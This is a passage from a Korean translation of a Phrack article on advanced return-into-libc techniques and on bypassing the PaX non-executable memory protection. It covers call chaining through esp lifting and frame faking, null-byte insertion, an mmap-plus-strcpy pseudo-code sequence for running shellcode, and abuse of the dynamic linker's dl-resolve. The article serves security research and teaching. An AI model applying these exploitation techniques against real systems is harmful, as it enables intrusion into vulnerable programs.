==Phrack Inc.== Volume 0x0b, Issue 0x3a, Phile #0x04 of 0x0e |=------------=[ The advanced return-into-lib(c) exploits: ]=------------=| |=------------------------=[ PaX case study ]=---------------------------=| |=-----------------------------------------------------------------------=| |=----------------=[ by Nergal ]=--------------=| |=-----------------[ 번역 oprix < oprix@null2root.org> ]=--------------=| May this night carry my will And may these old mountains forever remember this night May the forest whisper my name And may the storm bring these words to the end of all worlds Ihsahn, "Alsvartr" * 주의: 이 문서는 갖가지 오역과 의역이 난무함을 먼저 알려드립니다. :) --[ 1 - 차례 1 - 차례 2 - 고전적인, c 라이브러리로 리턴(return-into-libc)하는 방법 3 - 여러개의 c 라이브러리를 사용하는 방법 3.1 - 고전적인 접근 방법의 문제점 3.2 - esp 값을 올리는 방법 3.3 - frame 속이기 3.4 - 널 값 집어 넣기 3.5 - 요약 3.6 - 예제 코드 4 - PaX 의 특징 4.1 - PaX 의 기본 내용 4.2 - Pax 와 return-into-lib 익스플로잇 4.3 - PaX 와 mmap 기준값의 난수화 5 - 동적 링커의 dl-resolve 함수 5.1 - 약간의 ELF 데이타 타입 5.2 - 약간의 ELF 데이타 구조 5.3 - PLT를 이용해서 dl-resolve 를 부르는 법 5.4 - 결론 6 - PaX 취약점 찾기 6.1 - 필요한 내용 6.2 - 익스플로잇 만들기 7 - 기타사항 7.1 - 이식성 7.2 - 다른 종류의 취약점 7.3 - 스택을 non-exec로 만드는 다른 방법 7.4 - non-exec 방법 발전시키기 7.5 - 사용한 버전 8 - 참고 분헌 및 프로젝트 관련 자료 이 문서는 간단하게 2 부분으로 나누어져 있다. 첫 부분은 발전된, 라이브러리로 리턴하는 법을 설명한다. 그리고 그 중 몇 개는, 다소 비슷한 것까지 포함해서 다른 사람들이 벌써 발표했다. 그러나 얻을 수 있는 자료들은 여러곳에 나누어져 있을 뿐더러, 때때로 특정 플랫폼만 작동되고 약간의 제약이 있으며, 함께 있는 소스 코드도 설명이 턱없이 부족하다. 그래서 나는 이런 자료들을 모으고, 거기에 내 생각들을 집어 넣어 레퍼런스로도 유용하게 쓸 수 있는 이 문서를 만들기로 결심했다. 보안 관련 메일링 리스트에 올라온 많은 글들에서 내용을 가져왔기 때문에 내용이 그리 쉬운 편은 아니다. 두번째 부분은 스택 기반 버퍼 오버플로우( 끝에서 다룰 다른 형태의 취약점이다.)의 경우에 PaX를 우회하는 방법을 설명했다. 스택 주소가 난수화 되고 라이브러리가 mmap 되는등의, 최근 PaX의 발전으로 익스플로잇 작성자가 활동하기가 힘들다. 직접적으로 동적 링커의 심볼 전환 값을 부르는 초기의 방법도 있다. 이 방법은 매우 일반적이고 성공적으로 익스플로잇 하는데 필요한 조건을 쉽게 맞출 수 있어서 좋다. PaX 가 인텔 플랫폼에 종속적이기 때문에 , 예제 소스 코드는 Linux i386 glibc 용으로 만들었다. PaX 는 (모든 플랫폼에서) 널리 쓰일 정도로 좋게 만들어지진 않았다. 그렇지만 인텔 X86 플랫폼을 기준으로 설명하는 이 기술들을 다른 OS나 아키텍춰로 쉽게 이식할 수 있을 것이고 스택을 실행하게 하지 못하는 여러 방법들, 하드웨어로 막는 방법까지도 우회 할 수 있을 것이다. 이 글을 읽기 전에 기본적인 익스플로잇에 대한 지식이 있어야 한다. 문서 [1] 과 [2] 정도는 먼저 읽어 봤어야 될 것이다. 문서 [12]는 실제 ELF 내부 구조에 대한 내용을 담고 있다. --] 2 - 고전적인, c 라이브러리로 리턴하는 방법 고전적인, c 라이브러리로 리턴하는 방법은 문서 [2]에( 이하 문서라는 말 생략) 잘 설명되어 있다. 여기선 대략적인 내용만 설명한다. 이 방법은 스택의 실행속성을 막아 놓는 시스템을 우회하는 방법으로 많이 사용된다. 리턴될 위치를 스택에 두는 것이 아닌 동적 라이브러리가 적재된 메모리 중에 취약한 함수로 리턴하게 하는 것이다. 이 방법은 아래에서 보는 것처럼 스택을 오버플로우 시키면 된다. <- 스택이 커지는 방향 주소가 커지는 방향 -> -------------------------------------------------------------------------------------------- |버퍼가 값으로 차있음(*)| 라이브러리 안의 함수 주소 | 더미 int32 값| 인자 1 | 인자 2 | ... -------------------------------------------------------------------------------------------- ^ | - 이 int32 값은 취약한 함수의 저장된 리턴 주소를 덮어써야 한다. (*) 값으로 가득찬 버퍼는 만약 저장된 %ebp 부분이 사용된다면 값으로 덮어 써야 한다. 오버플로우된 버퍼를 포함한 함수가 리턴될때, 실행은 라이브러리 함수의 주소를 가지고 있는 function_in_lib 부분으로 넘어간다. 이 함수의 관점에서 보면 dummy_int32값은 리턴할 주소를 가리키며 인자 1 , 인자 2는 인자 값들이다. 일반적으로 쓰이는 라이브러리 안의 함수 주소로는 system() 함수의 주소가 사용되며. 인자 1은 "/bin/sh"를 가리킨다. --[ 3 - 여러개의 c 라이브러리를 사용하는 방법 ----[ 3.1 - 고전적인 접근 방법의 문제점 2장에서 설명했던 기술은 두 가지 심각한 제약이 있다. 첫번째로 라이브러리 안의 함수를 실행한 후에 인자가 필요한 다른 함수를 부르는게 불가능하다. 왜 그럴까? 라이브러리의 함수가 리턴된 후에 , 실행은 dummy_int32 의 주소로 계속된다. 그리고 또 다른 라이브러리안의 함수를 불러낸다. 그렇지만 그 함수에 인자 값으로 라이브러리 안의 함수에 사용되었던 인자 값들이 들어간다. 물론 , 때때로 이 건 별문제가 아닐경우도 있다. ( [3] 을 보면 간단한 예제가 있다. ) 한개 보다는 여러개의 함수 호출이 필요한 경우를 생각해 보자. 만약 취약한 프로그램이 임시적으로 낮은 권한으로 작동될때, ( 예로, setuid 를 가진 프로그램은 seteuid(getuid())) 를 실행할 수 있다.) 이 경우 익스플로잇은 system() 함수를 작동시키기 전에 다시 높은 권한으로 ( setuid를 사용해서) 돌려 놓고 작동해야 한다. 두번째 제약은 function_in_lib는 인자값으로 널문자를 가질수 없다는 점이다. ( 전형적인 오버플로우는 문자열을 다루는 부분에서 일어나기 때문이다.) 여러개의 함수 호출을 막는 두가지 방법이 있다. ----[ 3.2 - esp 값을 올리는 방법 이 방법은 -fomit-frame-pointer 플래그를 이용해서 컴파일한 바이너리를 공격할때 사용한다. 이 경우에 대부분 함수의 끝부분이 아래와 같은 형식을 가진다. eplg: addl $LOCAL_VARS_SIZE,%esp ret f1 과 f2가 라이브러리 안에 있는 함수들의 주소라고 가정하면, 우리는 다음과 같은 오버플로우 문자열을 만들 수 있다.( 버퍼가 꽉찬 앞 부분은 생략했다) <- 스택이 자라는 방향 주소값이 커지는 방향 -> --------------------------------------------------------------------------- | f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args... --------------------------------------------------------------------------- ^ ^ ^ | | | | | <---------LOCAL_VARS_SIZE------------->| | |-- 취약한 함수의 리턴 주소 부분을 덮어써야 한다. PAD 부분은 패딩이다.( 널값이 아닌 값으로 이루어 졌다) f1 인자 값과 패딩의 길이를 더한 값은 LOCAL_VARS_SIZE 값과 같아야 한다. 이것은 어떻게 작동될까? 취약한 함수가 인자가 f1_arg2, f1_arg2로 설정된 f1 으로 리턴되면 f1은 eplg 로 리턴하게 된다. "addl $LOCAL_VARS_SIZE,%esp" 명령으로 LOCAL_VARS_SIZE 만큼 스택 포인터가 이동해서 f2 의 주소를 가리키는 부분을 가리키게 된다. ret 명령으로 실행은 인자들로 f2_args 를 가진 함수 f2 로 계속된다. 이렇듯 두개의 함수를 차례로 호출 할 수 있다. 이와 비슷한 방법이 [5]에 나와 있다. 일반적인 함수의 epilogue 부분을 사용하는 대신 라이브러리나 프로그램에서 아래와 같은 몇개의 명령이 있는 부분을 찾는다. pop-ret: popl any_register ret 이러한 명령 순서는 끝부분에서 컴파일러의 최적화의 결과로 생성된다. 흔히 있는 일이다. 스택을 다음과 같은 형태로 만들 수 있다. <- 스택이 자라는 방향 주소값이 커지는 방향 -> ------------------------------------------------------------------------------ | buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ... ------------------------------------------------------------------------------ ^ | - 취약한 함수의 리턴 주소 부분을 덮어 써야 한다. 앞의 예제와 비슷한 순서로 동작한다. LOCAL_VARS_SIZE 만큼 스택 포인터를 옮기는 대신, "popl any_register" 명령으로 4 바이트 만큼 이동한다. 따라서 f1에 넘길 수 있는 인자는 4 바이트 값이다. 만약 아래와 같은 명령 순서를 찾을 수 있다면 pop-ret2: popl any_register_1 popl any_register_2 ret 2개의 4바이트 인자를 넘겨 줄 수 있다. popl 을 이용한 기술의 문제점은 3개 이상의 pop을 사용한 "pop-ret" 명령 형태를 찾기가 힘들다는 점이다. 따라서 때때로 eplg 방법만 사용해야 할때도 있다. [6] 에서 사용한 방법도 이와 비슷하다. 몇개의 에러가 있고 중언부언 한다는 문제가 있지만. 이런 방법으로 여러개의 함수를 실행할 수 있다. 게다가 우리가 임의 만든 부분이 위치하는 주소를 알 필요가 없다는 점도 기억하자. ( 스택 포인터의 정확한 값을 알 필요가 없다는 점이다, ) 물론 함수들에서 어떤 것은 인자 값의 주소를 필요로 하고 이 포인터가 임의로 만든 부분을 가리키야 된다면, 위치를 알아야 한다. ----[ 3.3 - 프레임 속이기([4]를 보라) 이 두번째 기술은 -fomit-frame-pointer 옵션없이 컴파일된 프로그램을 공격할때 사용한다. 이런 프로그램의 함수의 끝부분은 다음과 같은 명령 순서로 되어있다. leaveret: leave ret 최적화를 하거나 말거나, gcc는 항상 ret 앞에 leave를 놓아둔다. 따라서 유용한 "esp lifting"이 적용되는 부분을 찾기 위해서 바이너리 곳곳을 뒤질 필요는 없다. ( 그러나 3.5 절의 끝부분도 참고하라). 실은 때때로 libgcc.a엔 -fomit-frame-pointer 옵션으로 컴파일된 오브젝트 파일을 포함되어 있다. 컴파일 하는 동안, libgcc.a 는 기본적으로 실행파일에 링크가 된다. 따라서 약간의 "add $imm, %esp" 부분을 찾는 게 가능하다. 그러나 gcc 버전과 컴파일에 사용된 옵션같은 많은 변수가 있는 이런 gcc 만의 특징에 의존한다는 건 하나의 모험이다. "esp lifting" 부분으로 리턴되는 대신에 leaveret 부분으로 리턴한다. 오버플로우 된 메모리 부분은 논리적으로 나눠진 몇개의 부분으로 이루어진다. 대개는 익스플로잇 코드도 함께 위치한다. <- 스택이 자라는 방향 주소값이 커지는 방향 -> 저장된 프레임 포인터 취약한 함수의 리턴 주소값 -------------------------------------------- | buffer fill-up(*) | fake_ebp0 | leaveret | -------------------------|------------------ | +---------------------+ (*) 이 경우 버퍼가 넘쳐서 엉뚱한 값이 | 프레임 포인터 부분을 덮어 쓰게 하면 안 된다. v ----------------------------------------------- | fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ... -----|----------------------------------------- | the first frame +-+ | v ------------------------------------------------ | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ... -----|------------------------------------------ | the second frame +-- ... 조작된 ebp0은 첫번째 프레임의 주소를 가리키며, 조작된 ebp1은 두번째 프레임의 주소를 가리킨다. 실행되는 순서를 머리로 그려보며 생각해 보자. 1) 취약한 함수의 끝부분( leave; ret 부분)은 조작된 ebp0을 %ebp 에 넣고 leaveret 을 이용해 리턴한다. 2) 다음에 작동되는 2개의 명령(leave;ret)은 %ebp 에 조작된 ebp1값을 넣고 f1 으로 리턴한다. f1 에 알맞은 인수를 먼저 만들어 놓아야 한다. 3) f1 이 실행되고 리턴한다. 2) 와 3) 역시 마찬가지 방법으로 작동한다. [4]에서는 함수의 끝부분을 이용하지 않고, 대신에 다음과 같은 걸 제안했다. F가 실행되는 도중에 스택의 내용을 바꿔서 F 그자체로 리턴하는게 아닌 적당한 곳으로 되도록 스택을 만드는 것이다. 이건 앞의 방법과 유사한 방법으로 작동된다. 그러나, 곧 PLT 를 통해서만 F에 도달하는 상황에 빠질 것이다. 이 경우 F에 어떤 값을 더한 주소를 리턴한다는 건 불가능하다; 단지 앞에서 설명한 방법만이 작동될 것이다.( 사족을 달자면, PLT 는 "procedure linkage table"을 얘기하며, 아래에도 몇 번 나올 것이다. 이 단어가 익숙하지 않다면 성급한 사람은 [3]의 첫부분을 참고하고, 좀 더 구조적으로 자세하게 알고 싶으면 [12]를 보라). 프레임들의 내용을 알맞게 조작해야 하므로, 이 기술을 사용하려면 조작할 프레임의 정확한 위치를 알아야 한다. 만약 모든 프레임이 버퍼가 채워진 다음에 위치한다면, 그 때는 오버플로우 된 다음의 %esp 값을 알아야 한다. 그러나 만약 메모리의 알려진 부분에 조작된 프레임을 넣을 수 있다면( 정적 변수들이 쓰인다) 스택 포인터 값을 예측할 필요가 없다. -fomit-frame-pointer를 이용해서 컴파일된 프로그램에 이 기술을 사용하는 것도 가능하다. 이 경우 leave&ret 코드 부분을 찾을 수는 없고, 그러나 흔히 프로그램에 링크된 시작루틴(crtbegin.o)에서 찾을 수 있다. 또한 , "zeroth" chuck 를 바꿔야 한다. ------------------------------------------------------- | buffer fill-up(*) | leaveret | fake_ebp0 | leaveret | ------------------------------------------------------- ^ | |-- 취약한 함수의 리턴 부분은 덮어 써야한다. 취약한 함수는 리턴할때에 %ebp 값을 설정해 주지 않으므로, 두개의 leaverets 가 필요하다. 프레임 속이기는 "esp lifting"보다 몇개의 잇점들이 있어서 -fomit-frame-pointer 옵션으로 컴파일된 프로그램도 이 방법을 사용할 때가 있다. ----[ 3.4 - 널 바이트 집어 넣기 한가지 문제가 남아있다. 0을 가진 인자를 함수에 넘기는 점이다. 그러나 여러 함수를 사용할때 가능하다. 간단한 방법이 있는데, 별로 잘 실행되지 않는 첫번째 함수를 이용해 다음 함수로 넘겨지는 파라미터 부분에 0을 집어 넣는 것이다. strcpy 는 이 방법에 자주 사용하는 함수이다. 2번째 인자는 널 바이트( 프로그램 안의 고정된 위치에 있는)를 가리켜야 한다. 그리고 첫번째 인자는 널값이 될 바이트 위치를 가리켜야 한다. 그래서 함수를 사용할때마다 한 바이트씩 널값을 넣을 수 있다. int32 크기의 위치에 제로 값을 넣어야 한다면 좀 더 공간에 효율적인 방법을 생각해 봐야 한다. 예를 들면, sprintf(some_writable_addr,"%n%n%n%n",ptr1, ptr2, ptr3, ptr4); 이 방법은 some_writable_addr 한 바이트를 널바이트로 만들고, ptr1, ptr2, ptr3 , ptr4 의 위치의 int32 크기 만큼을 널바이트로 만든다. 많은 다른 프로그램을 이런 방법에 사용할수 있다. scanf 도 그중에 하나이다. ([5]번 문서를 참고하라.) 이 방법은 하나의 근본적인 문제를 해결하는 걸 보인다. 만약 모든 라이브러리가 주소에 0값ㅇ르 가지고 있는 곳에 위치한다면 ( Solar Designer 의 non-exec 스택 패치) 우리는 직접적으로 라이브러리에 접근할 수 없다. 이유는 오버플로우 하는 곳에 널 바이트를 넣을 수 없기 때문이다. 그러나 strcpy 나 sprintf 가 타겟 프로그램에서 사용되면, 알맞은 PLT 엔트리를 가지게 되면 우리는 사용할 수 있다. 첫번째 약간의 호출은 strcpy( 정확하게 말하면 strcpy 의 PLT 엔트리)를 호출해서 함수의 인자 값들을 널값으로 만드는게 아니라 함수들 주소가 있는 부분 자체를 변경시켜야 한다. 그 후에 다시 라이브러리에서 임의의 함수를 호출할 수 있다. ----[ 3.5 - 요약 위에서 설명한 방법들은 비슷하다. 이 아이디어는 호출한 함수 다음으로 바로가는게 아니라 스택 포인터 (프레임 포인터의 도움을 받아)부분을 잘 조절해서 ,원하는 순서대로 다음함수로 진행되도록 흐름을 전송한다. 두가지 경우 알맞은 경우 실행함수에서 알맞은 부분을 찾아야 한다. 때때로 또한 라이브러리 함수의 epilogue 부분을 사용할 수도 있다. 그러나 때때로 라이브러리 이미지는 직접적으로 접근할 수 없을때도 있다. 그런 경우가 벌써 나왔는데 라이브러리 가 위치하는 주소에 널 바이트가 존재하는 경우이다. 우리는 다른 경우도 접하게 될 것이다. 실행 이미지 위치는 바뀌지 않는다. 리눅스의 경우엔 0x08048000 인데 거기에 위치해야 한다. 그래서 그쪽으로 복귀되야 한다. ----[ 3.6 - 예제 코드 덧붙인 파일에는 ex-move.c 와 ex-frames.c vuln.c 팔일에 대한 익스플로잇이 있다. 이 익스플로잇은 몇 개의 strcpy 함수를 순서대로 할 수 있고 mmap 호출을 한다. 추가된 설명은 다음 장( 4.2) 에서 한다. 어쨌던 이 파일들을 return-into-lib 익스플로잇의 틀로서 사용할 수 있다. --[ 4 - Pax 에 대해 ----[ 4.1 - Pax 기초 Pax 리눅스 커널 패치에 대해서 알지 못한다면 [7]에 나와있는 홈페이지를 가보는게 좋다. 아래의 몇몇 인용은 Pax 문서에서 가져왔다. "이 문서는 IA-32 프로세서에서 non-executable 페이지를 구현하는 것을 논의한다. ( 예로 사용자 모드에서 쓰고 읽을 수 있지만 실행할 수 없는 페이지). 실제 프로세서의 기본적인 페이지 테이블 / 디렉토리 엔트리는 이런 점에서 준비가 안 되어 있다. 이건 사소한 문제가 아니다." " 버퍼 오버플로우 기반의 공격을 막는 프로그램적인 방법 중에 하나를 제공한다. 그것은 실행되지 않는 페이지를 구현하는 것이다. 데이타 자체만 가지는 페이지를 만들어 실행 가능성을 없애 버린다." " 커널 모드에서 DTLB 와 ITLB 엔트리 안에 불안정한 상태를 유발하는 코드를 넣을 가능성이 있다. 이런 메카니즘을 이용해 데이터를 읽고 쓰지만 실행이 안 되는 불안정한 상태를 생성할 수 있다. 이 방법은 많은 버퍼 오버플로우 공격을 막을때 사용할 수 있다. 요약하자면, 버퍼 오버플로우 익스플로잇은 타겟 프로세스에 어떤 데이터를 몰래 전달하는 것이다. 기본 Pax 기능중의 하나는 모든 데이터 영역에서 실행 부분을 없애 버리는 것이다. 따라서 일반적인 공격은 무의미하게 한다. --[ 4.2 - Pax 와 return-into-lib 익스플로잇 기본적으로 실행되지않는 데이터 영역은 Pax의 특징이다. 예상한 것처럼 return-into-lib 익스플로잇을 막는데 충분하지 않다. 그런 익스플로잇은 라이브러리와 바이너리 자체에 코드를 위치시키기 때문에 완전하게 합법적인 코드이다. 3장에서 사용한 기술을 사용하면, 타겟 프로그램의 권한을 이용하여 다양한 라이브러리 함수를 사용할 수 있다. 더욱 더 안 좋은 것은 다음과 같은 코드가 Pax 시스템에서 성공적으로 작동한다는 점이다. char shellcode[] = "arbitrary code here"; mmap(0xaa011000, some_length, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, some_offset); strcpy(0xaa011000+1, shellcode); return into 0xaa011000+1; 간단한 설명: mmap 콜은 0xaa011000 에 메모리를 할당한다. 이 부분은 어떤 파일 오브젝트와 관련이 없다. -1과 같은 파일 디스크립터를 이용한 MAP_ANON 플래그가 참 유용하다. 0xaa011000 에 위치한 코드는 Pax에서도 실행된다. 보다 시피 임의의 쉘코드가 실행된다. 코드 예를 들때가 왔다. 첨부한 vuln.c 는 명백한 스택 오버플로우를 가진 프로그램이다. $ gcc -o vuln-omit -fomit-frame-pointer vuln.c $ gcc -o vuln vuln.c 첨부한 파일 중 ex-move.c 와 ex-frame.c 는 vuln-omit 와 vuln 바이너리를 익스플로잇하는데 사용한다. 익스플로잇은 strcpy와 mmap 콜의 순서대로 실행한다. 좀 더 심오한 명령에 대한 것은 README.code 에 나와 있다. 최근 Pax 버전의 시스템에서 위의 익스플로잇을 실행한다면 randominzing mmap 옵션 부분을 꺼야한다. $ chpax -r vuln; chpax -r vuln-omit ----[ 4.3 - Pax 와 mmap 베이스 난수화 return-into-lib 익스플로잇을 막기 위해서 Pax에 재밌는 특징이 추가되었다. 만약 알맞은 CONFIG_PAX_RANDMMAP옵션이 세팅되어 있다면, 첫번째 로드된 라이브러리는 랜덤한 위치에 mmap 되며( 다음 라이브러리는 첫번째 것 다음에 위치한다.) 이것은 stack 에도 적동된다. 첫번째 라이브러리는 0x40000000+random*4k 부분에 mmap 된다. 스택의 최상위는 0xc0000000-random*16과 같다. 이 두 경우 random 은 get_random_bytes() 에서 부호 없는 16비트 값을 가져오는 의사 랜덤이다. get_random_bytes()는 예측하기 힘든 데이터를 생성한다. ldd some_binary 를 두번 호출해서 비교하거나. "cat /proc/$$/maps" 를 이용해 보자. Pax 에서는 두 번 실행한 결과가 다르다. nergal@behemoth 8 > ash $ cat /proc/$$/maps 08048000-08058000 r-xp 00000000 03:45 77590 /bin/ash 08058000-08059000 rw-p 0000f000 03:45 77590 /bin/ash 08059000-0805c000 rw-p 00000000 00:00 0 4b150000-4b166000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 4b166000-4b167000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 4b167000-4b168000 rw-p 00000000 00:00 0 4b16e000-4b289000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 4b289000-4b28f000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 4b28f000-4b293000 rw-p 00000000 00:00 0 bff78000-bff7b000 rw-p ffffe000 00:00 0 $ exit nergal@behemoth 9 > ash $ cat /proc/$$/maps 08048000-08058000 r-xp 00000000 03:45 77590 /bin/ash 08058000-08059000 rw-p 0000f000 03:45 77590 /bin/ash 08059000-0805c000 rw-p 00000000 00:00 0 48b07000-48b1d000 r-xp 00000000 03:45 107760 /lib/ld-2.1.92.so 48b1d000-48b1e000 rw-p 00015000 03:45 107760 /lib/ld-2.1.92.so 48b1e000-48b1f000 rw-p 00000000 00:00 0 48b25000-48c40000 r-xp 00000000 03:45 107767 /lib/libc-2.1.92.so 48c40000-48c46000 rw-p 0011a000 03:45 107767 /lib/libc-2.1.92.so 48c46000-48c4a000 rw-p 00000000 00:00 0 bff76000-bff79000 rw-p ffffe000 00:00 0 CONFIG_PAX_RANDMMAP 특징은 간단한 라이브러리로 리턴하는 공격을 불가능하게 한다. 실행할때 마다 각 함수의 주소가 달라진다. 이 특징은 몇가지 명백한 약점이 있다. 이것들 몇 개는 고쳐질 것이다. 1) 로컷 익스플로잇의 경우 라이브러리의 주소와 스택이 취치한 주소가 /proc/pid_of_attacked_process/maps 같은 모두 읽을 수 있는 곳에 위치한다. 만약 데이터 오버플로우 버퍼가 준비되고 타켓 프로세스가 시작한 뒤에 타겟 프로세스에 그 버퍼가 전해진다면 공격자는 오버플로우를 할 정보를 가지게 된다. 예를 들면 만약 정보가 프로그램 인자나 환경 변수에서 온다면 로컬 공격자는 익스플로잇 할 수 없다. 만약 그 정보가 몇 개의 I/O 부분( 소켓이나 파일 읽기)에서 온다면 로컬 공격자는 익스 플로잇이 가능하다. 해결책: /proc 파일에 접근 권한을 설정한다. 이것은 많은 다른 보안 패치를 사용하면 된다. 2) mmap 기반의 브루트 포스 공격을 할 수 있다. 때때로 6.1 의 끝에 libc 베이스 주소를 예측하기 쉽게 되어 있다. 몇 만개의 시도 후에 공격자는 옳은 값을 찾을 기회를 가진다. 확실하게 각가의 실패한 시도는 로그에 기록되지만 새벽 2시에 생성되는 엄청난 양의 로그는 막을 수 없다. 해결책: segvguard를 사용하면 된다. 이것은 어떤 프로세스가 sigsegv 와 비슷한 신호를 보내는 것을 하나 하나 인지하는 데몬이다. segvguard 는 임시적으로 프로그램의 실행을 막을 수 있다. 더 좋은 기법도 있다. Pax 를 사용하지 않고도 쓸만하다. 3) 라이브러리와 스택 주소에 관한 정보가 format 버그로 유출될 수 있다. wuftp 버그의 경우는 스택을 site exec [eat stack]%x.%x.%x... 명령으로 훝어 볼 수 있다. 스택에 있는 자동화된 변수의 포인터가 스택의 베이스를 노출할 수 있다. 동적 링커와 libc 시작 루틴은 스택에 몇 개의 포인터를 남긴다. 라이브러리 함수의 리턴 주소, 그래서 이것은 또한 라이브러리 베이스 주소를 사용하는 걸 줄임으로 가능하다. 4) 때때로 , 타겟 바이너리 안에서 알맞은( 위치가 정해 져 있고 mmap 이 난수화 되지 않는) 함수를 찾을 수 있다. 예를 들면, su 는 성공적인 인증을 위해서 루트 권한을 획득하고 쉘을 실행시키는 함수를 가진다. 다른 건 필요가 없다. 5) 타겟 프로그램의 모든 라이브러리 함수는 그 PLT 엔트리에서 불려 진다. 바이너리 처럼 PLT 는 고정된 위치에 있어야 한다. 취약한 프로그램은 때때로 크고 많은 함수를 호출한다. 따라서 PLT 에서 알맞고 재밌는 함수를 찾을 수 있다. 사실 뒤의 3개의 문제는 해결할 수 없다. 그것들 중에 아무도 성공적인 익스플로잇을 한다는 보장이 없다. 게다가 4번째 것은 아주 드물다. 좀 더 일반화된 공격이 필요하다. 다음 장에서는 링커의 dl-resolve 함수의 인터페이스에 관해 얘기한다. 만약 알맞은 인자가 전달 되면 그것들 중에 하나는 함수의 이름을 가지는 ascii 형식의 문자열이다. 이것은 실제 함수의 주소를 결정한다. 이 기능은 dlsym() 함수와 유사하다. dl-resolve 함수를 사용해서 우리는 return-into-lib 익스플로잇을 할 수 있다. 익스플로잇 빌드 때 알려지지 않았던 주소 함수로 돌아 갈 수 있다. [12]는 이 이름으로 함수의 주소를 얻는 방법을 논의한다. 그러나 앞의 기술은 우리의 목적에 별 쓸모가 없다. --[ 5 - 동적 링커 안의 dl-resolve 함수 이 장은 가능한 간단하게 적는다. 상세한 자료는 [9] 나 glibc 소스 특히 dl-runtime.c 를 참고하고 [12] 도 읽어보라. ----[ 5.1 - 몇개의 ELF 데이터 타입 다음의 정이는 elf.h 파일에서 볼 수 있다. typedef uint32_t Elf32_Addr; typedef uint32_t Elf32_Word; typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; /* How to extract and insert information held in the r_info field. */ #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility under glibc>=2.2 */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; The fields st_size, st_info and st_shndx are not used during symbol resolution. ----[ 5.2 - 몇 개의 ELF 데이터 구조 ELF 실행파일은 몇 개의 데이터 구조를 포함한다. ( 대부분 배열) 그 중 몇개는 흥미롭다. 이 구조의 위치는 실행파일의 동적 섹션에서 얻을 수 있다. "objdump -x file"를 이용하면 동적 섹션의 대용을 볼 수 있다. $ objdump -x some_executable ... some other interesting stuff... Dynamic Section: ... STRTAB 0x80484f8 the location of string table (type char *) SYMTAB 0x8048268 the location of symbol table (type Elf32_Sym*) .... JMPREL 0x8048750 the location of table of relocation entries related to PLT (type Elf32_Rel*) ... VERSYM 0x80486a4 the location of array of version table indices (type uint16_t*) "objdump -x" will also reveal the location of .plt section, 0x08048894 in the example below: "objdump -x file"는 .plt 섹션의 위치를 보여준다. 11 .plt 00000230 08048894 08048894 00000894 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE ----[ 5.3 - 어떻게 PLT에서 dl-resolve 가 호출 되나. 전형적인 PLT 엔트리( elf32-i386 포맷일때) 다음과 같다. (gdb) disas some_func Dump of assembler code for function some_func: 0x804xxx4 : jmp *some_func_dyn_reloc_entry 0x804xxxa : push $reloc_offset 0x804xxxf : jmp beginning_of_.plt_section PLT 엔트리는 $reloc_offset 값으로 구별된다.( 그리고 some_func_dyn_reloc_entry 의 값으로도 그러나 some_func_dyn_reloc_entry는 symbol resolution algorithm에 사용되지 않는다.) 보다 시피, 이 코드의 부분은 $reloc_offset을 스택에 넣고 .plt 섹션의 시작으로 옮겨간다. 이 명령 후에 제어는 dl-resolve 함수로 옮겨간다. reloc_offset도 이 함수의 인자로 들어간다. 두번째 인자는 별 상관 없지만 type struct link_map * 이다. 아래는 간단하게 구성한 dl-resolve 알고리듬이다. 1) 몇 몇 함수의 재 위치 엔트리를 계산한다. Elf32_Rel * reloc = JMPREL + reloc_offset; 2) 몇몇 함수의 symtab 엔트리를 계산한다. Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ]; 3) 무결성 검사 assert (ELF32_R_TYPE(reloc->r_info) == R_386_JMP_SLOT); 4) 2.1.x 이후의 glibc ( 2.2.x 도 포함) 에서는 다른 검사도 한다. if sym->st_other & 3 != 0, 이 심볼은 그전에 resolve 된 것으로 가정한다. 그리고 이 알고리즘은 다른 순서로 진행한다.( 아마도 우리 경우엔 SIGSEGV 로 끝난다.) 우리는 sysm->st_other & 3== 0 이 되도록 해야 한다. 5) symbol 버전 검사(자주 하는)를 한다면, 버전 테이블 인덱스를 결정한다. uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc->r_info) ]; 그리고 버전 정보를 찾는다. const struct r_found_version *version =&l->l_versions[ndx]; l 값이 link_map 파라미터이다. 이 중요한 부분은 ndx 값이 정당한 값이어야 하는 것이다. 아마도 로컬 심볼을 의미하는 0 이어야 한다. 6) 이 함수( asciiz 문자열로된) 의 이름은 결정된다 name = STRTAB + sym->st_name; 7) 수집한 정보는 몇 몇 함수의 주소를 결정하는 데 유용하다. Elf32_Addr 의 reloc->r_offset and sym->st_value. 두 변수에 이 결과가 임시저장된다. 8) 스택 포인터를 조정하고 , 다른 함수를 호출한다. 주의: glibc의 경우 이 알고리즘은 dl-runtime-resolve 에서 호출한 fixup 함수에서 실행한다. ----[ 5.4 - 결론 다음 처럼 스택을 오버플로우 한다면 -------------------------------------------------------------------------- | buffer fill-up | .plt start | reloc_offset | ret_addr | arg1 | arg2 ... -------------------------------------------------------------------------- ^ | - this int32 should overwrite saved return address of a vulnerable function 우리가 알맞은 ( Elf32_Sym Elf32_Rel, 각각) sym 과 reloc 변수를 준비할 수 있다면 그리고 reloc_offset 을 알맞게 계산하고 우리가 제어할 수 있는 STRTAB + sym->st_name에서 이름을 찾을 수 있는 함수로 되면 인자는 arg1, arg2 는 알맞게 위치하고 우리는 다른 함수로 리턴할 기회가 생긴다. 위의 기술을 적용한 dl-resolve.c소스를 추가했다.컴파일을 두번해야 